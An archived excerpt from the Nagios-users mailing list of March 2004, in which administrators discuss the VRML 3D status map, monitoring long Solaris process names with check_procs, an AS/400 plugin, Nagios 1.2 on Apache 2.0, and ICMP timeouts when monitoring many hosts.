M-- t+++ G++ -----END GEEK CODE BLOCK----- This document together with any attachments is confidential and is intended for the named recipient only. It can not be copied, disclosed, passed on or duplicated in any way shape or form, without the prior permission of the author. If you are not the intended recipient please contact the author immediately and destroy the message. All parties acknowledge that any breach of confidence or disclosures made by any party, (including their employees, agents and contracted service providers such as solicitors, accountants, auditors and others), which may result in a commercial loss to Leading Edge Group, may result in Leading Edge Group exercising such rights as are available to them in connection with that loss. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff at bofus.org Wed Mar 17 04:13:08 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Tue, 16 Mar 2004 21:13:08 -0600 Subject: 3d status map In-Reply-To: <5237E8DD31703E4B8F18DE416229C8C0C28219@legsydms01.leadingedgegroup.com.au> References: <5237E8DD31703E4B8F18DE416229C8C0C28219@legsydms01.leadingedgegroup.com.au> Message-ID: <4057C244.6040303@bofus.org> An HTML attachment was scrubbed... URL: From jhennessy at mitchamcouncil.sa.gov.au Wed Mar 17 04:16:04 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Wed, 17 Mar 2004 13:46:04 +1030 Subject: 3d status map Message-ID: Hi Rabbie, Make sure you have a VRML plugin installed. This the one that I use: http://www.parallelgraphics.com/products/cortona/ Justin >>> Rabbie Zalaf 17/03/2004 1:22:24 pm >>> Hi All, Why is it that when I click on 3D status map, my browser tries to download a file named statuswrl.. I have scatuswrl.cgi and my httpd.conf has a scriptalias to that folder... Any help would be greately appreciated. Thanks. Kind Regards,Rabbie Zalaf Network Consultant Leading Edge Internet 02 9497 4024 http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- VERSION: 3.1 GIT d++ s:>s-:- a22 C++++ L U+++ P+ L+++>$L+++++ E--- W+++ w-- M-- t+++ G++ -----END GEEK CODE BLOCK----- This document together with any attachments is confidential and is intended for the named recipient only. It can not be copied, disclosed, passed on or duplicated in any way shape or form, without the prior permission of the author. If you are not the intended recipient please contact the author immediately and destroy the message. All parties acknowledge that any breach of confidence or disclosures made by any party, (including their employees, agents and contracted service providers such as solicitors, accountants, auditors and others), which may result in a commercial loss to Leading Edge Group, may result in Leading Edge Group exercising such rights as are available to them in connection with that loss. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aj.mckee at nmtbmedia.com Wed Mar 17 04:22:56 2004 From: aj.mckee at nmtbmedia.com (AJ McKee) Date: Wed, 17 Mar 2004 03:22:56 -0000 Subject: 3d status map In-Reply-To: <5237E8DD31703E4B8F18DE416229C8C0C28219@legsydms01.leadingedgegroup.com.au> References: <5237E8DD31703E4B8F18DE416229C8C0C28219@legsydms01.leadingedgegroup.com.au> Message-ID: <011f01c40bcf$24a3d8f0$cbe8fea9@core> >Why is it that when I click on 3D status map, my browser tries >to download a file named statuswrl.. I have scatuswrl.cgi and >my httpd.conf has a scriptalias to that folder... Your browser needs a VRML view installed on your operating system for this to work. For windows for example you could use the following. http://www.parallelgraphics.com/products/cortona/download/iexplore/ AJ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ZalafR at Leadingedgegroup.com.au Wed Mar 17 04:39:46 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Wed, 17 Mar 2004 14:39:46 +1100 Subject: 3d status map Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C2821C@legsydms01.leadingedgegroup.com.au> Thanks to everyone who replied. Done and done.. Very very nice :) and its fun too :) hehe. -----Original Message----- From: Justin Hennessy [mailto:jhennessy at mitchamcouncil.sa.gov.au] Sent: Wednesday, March 17, 2004 2:16 PM To: Rabbie Zalaf Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] 3d status map Hi Rabbie, Make sure you have a VRML plugin installed. This the one that I use: http://www.parallelgraphics.com/products/cortona/ Justin >>> Rabbie Zalaf 17/03/2004 1:22:24 pm >>> Hi All, Why is it that when I click on 3D status map, my browser tries to download a file named statuswrl.. I have scatuswrl.cgi and my httpd.conf has a scriptalias to that folder... Any help would be greately appreciated. Thanks. Kind Regards,Rabbie Zalaf Network Consultant Leading Edge Internet 02 9497 4024 http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- VERSION: 3.1 GIT d++ s:>s-:- a22 C++++ L U+++ P+ L+++>$L+++++ E--- W+++ w-- M-- t+++ G++ -----END GEEK CODE BLOCK----- This document together with any attachments is confidential and is intended for the named recipient only. It can not be copied, disclosed, passed on or duplicated in any way shape or form, without the prior permission of the author. If you are not the intended recipient please contact the author immediately and destroy the message. All parties acknowledge that any breach of confidence or disclosures made by any party, (including their employees, agents and contracted service providers such as solicitors, accountants, auditors and others), which may result in a commercial loss to Leading Edge Group, may result in Leading Edge Group exercising such rights as are available to them in connection with that loss. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From charles at bueche.ch Wed Mar 17 07:44:06 2004 From: charles at bueche.ch (Charles Bueche) Date: Wed, 17 Mar 2004 07:44:06 +0100 Subject: Monitoring Long process names on Solaris In-Reply-To: References: <20040316222421.0cec33e2@bluez.bueche.ch> Message-ID: <20040317074406.5f1a9876@bluez.bueche.ch> Hi, well, for some things, you have no choice. We do it that way (not in Nagios) to check for processes that must run and have ugly long names (eg WLS instances). The right way is to run it once every 5 minutes and look for all processes you want (not running /usr/ucb/ps auxwww | grep pname for each process). Now, if you step back a bit, reconsider what is the better way to check for something (here, syslogd as exemple) : - a syslogd process is present, but you don't know if it still does what you want it to do - events sent using "logger" appear to /var/log/monitor (you will need a crafted syslog.conf for this, and a log parser that run from some agent and check for a recent entry in /var/log/monitor). IMHO, it's almost always better to check for functionality of the service you want instead of the presence of some process in the process table. Now, I admit that it is more difficult, but you catch what you really want : the service you sold to your customers is up or down. Having worked in monitoring (net, systems, services) for a few years, I think checking for the service is almost always better. Charles On Tue, 16 Mar 2004 17:52:15 -0500 (EST) Subhendu Ghosh wrote: > If /usr/ucb/bin/ps auxwww uses a lot of resources - would you want to > run it every 5 min as a normal plugin? > > On Tue, 16 Mar 2004, Charles Bueche wrote: > > > Hi, > > > > On Solaris, the process table is broken, the names are shortened. > > The only way to get the full command names is to parse /proc/PIDs. > > Luckily, there is another ps version that does this well : > > > > /usr/ucb/ps auxwww > > > > Now, be sure to avoid calling this command too much, it takes a lot > > of time and is heavy on the system. > > > > You will need to adjust your plugin accordingly. > > > > Regs, > > Charles > > > > On Tue, 16 Mar 2004 10:44:30 -0600 > > "Jeffery P. Humes" wrote: > > > > > I am pretty new to the nagios scene. I am trying to monitor long > > > named processes on Solaris 8. > > > > > > I can monitor processes with the "check_procs" plugin: > > > > > > ------ > > > check_procs -c 1:1 -C > > > "/opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java" -a > > > -ms384m > > > > > > OK - 1 processes running with command name > > > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java, args > > > -ms384m------ > > > > > > This works fine. > > > > > > However, I run into a problem with processes that have very long > > > names and the name I want to watch is near the end of the string. > > > > > > example: > > > bea 28402 0.2 20.6581704102648 ? S Mar 03 1050:18 > > > /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java -ms384m > > > -mx384m -Xrs -XX:MaxPermSize=128M -XX:MaxNewSize=128M > > > -XX:SurvivorRatio=8 -Xrs > > > -Dcommerce.properties=/opt/bea/weblogic7/portal/weblogiccommerce. > > > prop erties -Dejbruntime.appserver=weblogic61 > > > -Dejbruntime.config=weblogicportal40 > > > -Dejbruntime.database=oracle817thin > > > -Dcom.compoze.home=/opt/ti_apps/portal/educationDomain/lib/ext/co > > > mpoze-classpath > > > /opt/ti_apps/portal/educationDomain/lib/ext/classes12.zip:/opt/ti > > > _app > > > s/portal/educationDomain/settings:/opt/ti_apps/portal/educationDo > > > main/lib/ext/autonomyClient.jar:/opt/ti_apps/portal/educationDoma > > > in/lib/s > > > tartup/startup.jar:/opt/ti_apps/portal/educationDomain/lib/ext/ad > > > c.ja > > > r:/opt/ti_apps/portal/educationDomain/lib/ext/Utilities.jar:/opt/ > > > ti_a > > > pps/portal/educationDomain/lib/ext/struts.jar:/opt/ti_apps/portal > > > /edu > > > cationDomain/lib/ext/commons-fileupload.jar:/opt/ti_apps/portal/e > > > duca > > > tionDomain/lib/ext/jakarta-regexp-1.2.jar:/opt/ti_apps/portal/edu > > > cati > > > onDomain/lib/ext/log4j-1.2.8.jar:/opt/ti_apps/portal/educationDom > > > ain/ > > > settings/compoze/license:/opt/ti_apps/portal/educationDomain/lib/ > > > ext/ > > > oro-2.0.4/oro-2.0.4.jar:/opt/ti_apps/portal/educationDomain/lib/e > > > xt/c > > > ompoze/security.jar:/opt/ti_apps/portal/educationDomain/lib/ext/c > > > ompo > > > ze/csdk.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/j > > > 2ee_ > > > runtime.jar:/opt/ti_apps/portal/educationDomain/lib/ext/compoze/d > > > iscu > > > ssion.jar:/opt/bea/weblogic7/server/lib/weblogic.jar:/opt/bea/web > > > logi > > > c7/server/lib/webservices.jar:/opt/bea/weblogic7/portal/lib/p13n_ > > > syst > > > em.jar:/opt/bea/weblogic7/portal/lib/ext/jdom.jar:/opt/bea/weblog > > > ic7/ > > > portal/lib/ext/HTTPClient.jar:/opt/bea/weblogic7/portal/lib/ext/w > > > lcsp > > > arsers.jar:/opt/bea/weblogic7/portal/lib/commerce_system.jar:/opt > > > /bea/weblogic7/portal/lib/campaign_system.jar:/opt/bea/weblogic7/ > > > server/l > > > ib/jdom.jar:/opt/bea/weblogic7/portal/lib/portal_system.jar:/opt/ > > > bea/ > > > jdk131_08/lib/tools.jar:/opt/bea:/opt/bea/weblogic7/portal/lib/co > > > mmer > > > ce_system.jar:/opt/bea/weblogic7/portal/lib/campaign_system.jar-D > > > weblogic.Name=portal_ms1 > > > -Dbea.home=/opt/bea-Dweblogic.management.username= > > > -Dweblogic.management.password=-Dweblogic.management.server=http: > > > //ncapp10.eps.ti.com:9501-Dweblogic.ProductionModeEnabled=true > > > -Djava.security.policy=/opt/bea/weblogic7/server/lib/weblogic.pol > > > icy weblogic.Server > > > > > > > > > I believe that the problem is the "ps" command that is called only > > > show partial process strings. > > > > > > How can I either: > > > 1. get the check_procs command to use "/usr/ucb/ps auxww" instead > > > of "/usr/bin/ps"? > > > 2. find some other way to monitor processes by name? > > > > > > Thanks for any assistance. > > > > > > -Jeff Humes > > > > > -- > -- Charles Bueche sand, snow, wave, wind and net -surfer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gijs.wuyts at ubizen.com Wed Mar 17 08:51:34 2004 From: gijs.wuyts at ubizen.com (Gijs Wuyts) Date: Wed, 17 Mar 2004 07:51:34 +0000 Subject: 3d status map In-Reply-To: <5237E8DD31703E4B8F18DE416229C8C0C2821C@legsydms01.leadingedgegroup.com.au> References: <5237E8DD31703E4B8F18DE416229C8C0C2821C@legsydms01.leadingedgegroup.com.au> Message-ID: <40580386.9050508@ubizen.com> Are there any clients for linux/solaris? g Rabbie Zalaf wrote: > Thanks to everyone who replied. Done and done.. Very very nice :) and its > fun too :) hehe. > > -----Original Message----- > From: Justin Hennessy [mailto:jhennessy at mitchamcouncil.sa.gov.au] > Sent: Wednesday, March 17, 2004 2:16 PM > To: Rabbie Zalaf > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] 3d status map > > > Hi Rabbie, > > Make sure you have a VRML plugin installed. > > This the one that I use: > > http://www.parallelgraphics.com/products/cortona/ > > Justin > > >>>>Rabbie Zalaf 17/03/2004 1:22:24 pm >>>> > > Hi All, > > Why is it that when I click on 3D status map, my browser tries to download a > file named statuswrl.. I have scatuswrl.cgi and my httpd.conf has a > scriptalias to that folder... > > Any help would be greately appreciated. > > Thanks. > > Kind Regards,Rabbie Zalaf > Network Consultant > Leading Edge Internet > 02 9497 4024 > http://www.leadingedgeinternet.net.au > -----BEGIN GEEK CODE BLOCK----- > VERSION: 3.1 > GIT d++ s:>s-:- a22 C++++ L U+++ > P+ L+++>$L+++++ E--- W+++ w-- M-- > t+++ G++ > -----END GEEK CODE BLOCK----- > This document together with any attachments is confidential and is intended > for the named recipient only. It can not be copied, disclosed, passed on or > duplicated in any way shape or form, without the prior permission of the > author. If you are not the intended recipient please contact the author > immediately and destroy the message. All parties acknowledge that any breach > of confidence or disclosures made by any party, (including their employees, > agents and contracted service providers such as solicitors, accountants, > auditors and others), which may result in a commercial loss to Leading Edge > Group, may result in Leading Edge Group exercising such rights as are > available to them in connection with that loss. > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- ---------------------------------------- Gijs Wuyts System Administrator OnlineGuardian Ubizen Philipssite 5 B - 3001 LEUVEN BELGIUM T:+32 (0)16 28.72.81 F:+32 (0)496 127.187 M:+32 (0)496 16.22.00 --------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 4452 bytes Desc: S/MIME Cryptographic Signature URL: From Wengrzik at ewr.de Wed Mar 17 10:14:00 2004 From: Wengrzik at ewr.de (Wengrzik, Andreas) Date: Wed, 17 Mar 2004 10:14:00 +0100 Subject: AS/400 check plugin Message-ID: <90D32590BAD135448DC12C1EA3EB448210AE5E@epsewr01.ewrlan.ewr.int> Hello! Anyone knows if theres a good/working check plugin for OS/400 ?? All kinds of infos about that are welcome! ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From twelsh at square-box.com Wed Mar 17 10:19:51 2004 From: twelsh at square-box.com (Tom Welsh) Date: Wed, 17 Mar 2004 09:19:51 +0000 Subject: 3d status map In-Reply-To: <40580386.9050508@ubizen.com> References: <5237E8DD31703E4B8F18DE416229C8C0C2821C@legsydms01.leadingedgegroup.com.au> <40580386.9050508@ubizen.com> Message-ID: <20040317091951.1508.qmail@pod-163.dolphin-server.co.uk> Yep, Check out the faq http://www.nagios.org/faqs/viewfaq.php?faq_id=51&expand=false&showdesc=false Cheers Tom Welsh squareBOX technologies ltd Gijs Wuyts writes: > Are there any clients for linux/solaris? > > g > > Rabbie Zalaf wrote: >> Thanks to everyone who replied. Done and done.. Very very nice :) and its >> fun too :) hehe. >> >> -----Original Message----- >> From: Justin Hennessy [mailto:jhennessy at mitchamcouncil.sa.gov.au] Sent: >> Wednesday, March 17, 2004 2:16 PM >> To: Rabbie Zalaf >> Cc: nagios-users at lists.sourceforge.net >> Subject: Re: [Nagios-users] 3d status map >> >> >> Hi Rabbie, >> >> Make sure you have a VRML plugin installed. >> >> This the one that I use: >> >> http://www.parallelgraphics.com/products/cortona/ >> >> Justin >> >> >>>>> Rabbie Zalaf 17/03/2004 1:22:24 pm >>>>> >> >> Hi All, >> >> Why is it that when I click on 3D status map, my browser tries to >> download a >> file named statuswrl.. I have scatuswrl.cgi and my httpd.conf has a >> scriptalias to that folder... >> >> Any help would be greately appreciated. >> >> Thanks. >> >> Kind Regards,Rabbie Zalaf >> Network Consultant >> Leading Edge Internet >> 02 9497 4024 >> http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- >> VERSION: 3.1 >> GIT d++ s:>s-:- a22 C++++ L U+++ >> P+ L+++>$L+++++ E--- W+++ w-- M-- >> t+++ G++ >> -----END GEEK CODE BLOCK----- >> This document together with any attachments is confidential and is >> intended >> for the named recipient only. It can not be copied, disclosed, passed on >> or >> duplicated in any way shape or form, without the prior permission of the >> author. If you are not the intended recipient please contact the author >> immediately and destroy the message. All parties acknowledge that any >> breach >> of confidence or disclosures made by any party, (including their >> employees, >> agents and contracted service providers such as solicitors, accountants, >> auditors and others), which may result in a commercial loss to Leading >> Edge >> Group, may result in Leading Edge Group exercising such rights as are >> available to them in connection with that loss. >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo >> technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please >> include Nagios version, plugin version (-v) and OS when reporting >> any issue. ::: Messages without supporting info will risk being sent to >> /dev/null >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo >> technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting >> any issue. ::: Messages without supporting info will risk being sent to >> /dev/null >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. ::: Messages without supporting info will risk being >> sent to /dev/null > > -- > ---------------------------------------- > Gijs Wuyts > System Administrator > OnlineGuardian > Ubizen > Philipssite 5 > B - 3001 LEUVEN > BELGIUM > T:+32 (0)16 28.72.81 > F:+32 (0)496 127.187 > M:+32 (0)496 16.22.00 > --------------------------------------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Wed Mar 17 13:37:37 2004 From: shorn at lssi.net (Spencer L Horn) Date: Wed, 17 Mar 2004 07:37:37 -0500 Subject: Nagios 1.2 and Apache 2.0 Message-ID: <1079527057.23986.25.camel@spencer.lssi.net> Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am having a few problems reading the cgi files, so i just want to make sure this is doable before i proceed. Thanks, Spencer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pikelner at rogers.com Wed Mar 17 14:06:20 2004 From: pikelner at rogers.com (Frank Pikelner) Date: Wed, 17 Mar 2004 08:06:20 -0500 Subject: Nagios performance issue for 411 nodes and 1218 services Message-ID: <000001c40c20$a4a8a8e0$98aa6418@netcraftinc.int> We're running Nagios 1.1 on a Dual Xeon 2.4GHz box with 512MB RAM on FreeBSD 4.8. At present we monitor 411 nodes and 1218 service checks every 5 minutes. As the number of nodes and service checks passed about 350 nodes and 1000 service checks we seem to get continuously from 0-30 ICMP timeouts for various servers (random). From Nagios I can manually PING the hosts and no timeouts occur (ping times are 40-100ms over WAN). Nagios is configured to do Smart Scheduling. If I look in Performance info for Nagios I get about 99-100% of the checks completing in less than 5 minutes (though does improve every once in a while). The CPU and the level of traffic does not appear to be great. My question is have we reach a monitoring limit (would doubt this)? Is there a bug in Nagios 1.1 that may be affecting our ability to monitor this number of hosts? Any suggestions on what other troubleshooting can be done in Nagios? Thank you, Frank Pikelner ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tom.brown at goodtechnology.com Wed Mar 17 14:30:54 2004 From: tom.brown at goodtechnology.com (Tom Brown) Date: Wed, 17 Mar 2004 13:30:54 -0000 Subject: Nagios 1.2 and Apache 2.0 References: <1079527057.23986.25.camel@spencer.lssi.net> Message-ID: <192701c40c24$129e3290$0401a8c0@tomspc> yes it is - no problem at all > Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am > having a few problems reading the cgi files, so i just want to make sure > this is doable before i proceed. > > Thanks, > Spencer > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gijs.wuyts at ubizen.com Wed Mar 17 14:39:01 2004 From: gijs.wuyts at ubizen.com (Gijs Wuyts) Date: Wed, 17 Mar 2004 13:39:01 +0000 Subject: Nagios 1.2 and Apache 2.0 In-Reply-To: <1079527057.23986.25.camel@spencer.lssi.net> References: <1079527057.23986.25.camel@spencer.lssi.net> Message-ID: <405854F5.60202@ubizen.com> yup, got it running, with some tweeking too. g Spencer L Horn wrote: > Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am > having a few problems reading the cgi files, so i just want to make sure > this is doable before i proceed. > > Thanks, > Spencer > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- ---------------------------------------- Gijs Wuyts System Administrator OnlineGuardian Ubizen Philipssite 5 B - 3001 LEUVEN BELGIUM T:+32 (0)16 28.72.81 F:+32 (0)496 127.187 M:+32 (0)496 16.22.00 --------------------------------------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gijs.wuyts at ubizen.com Wed Mar 17 14:23:35 2004 From: gijs.wuyts at ubizen.com (Gijs Wuyts) Date: Wed, 17 Mar 2004 13:23:35 +0000 Subject: Nagios 1.2 and Apache 2.0 In-Reply-To: <1079527057.23986.25.camel@spencer.lssi.net> References: <1079527057.23986.25.camel@spencer.lssi.net> Message-ID: <40585157.7020403@ubizen.com> yup, got it running, with some tweeking too. g Spencer L Horn wrote: > Has anyone successfully installed Nagios 1.2 using Apache 2.0, I am > having a few problems reading the cgi files, so i just want to make sure > this is doable before i proceed. > > Thanks, > Spencer > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being 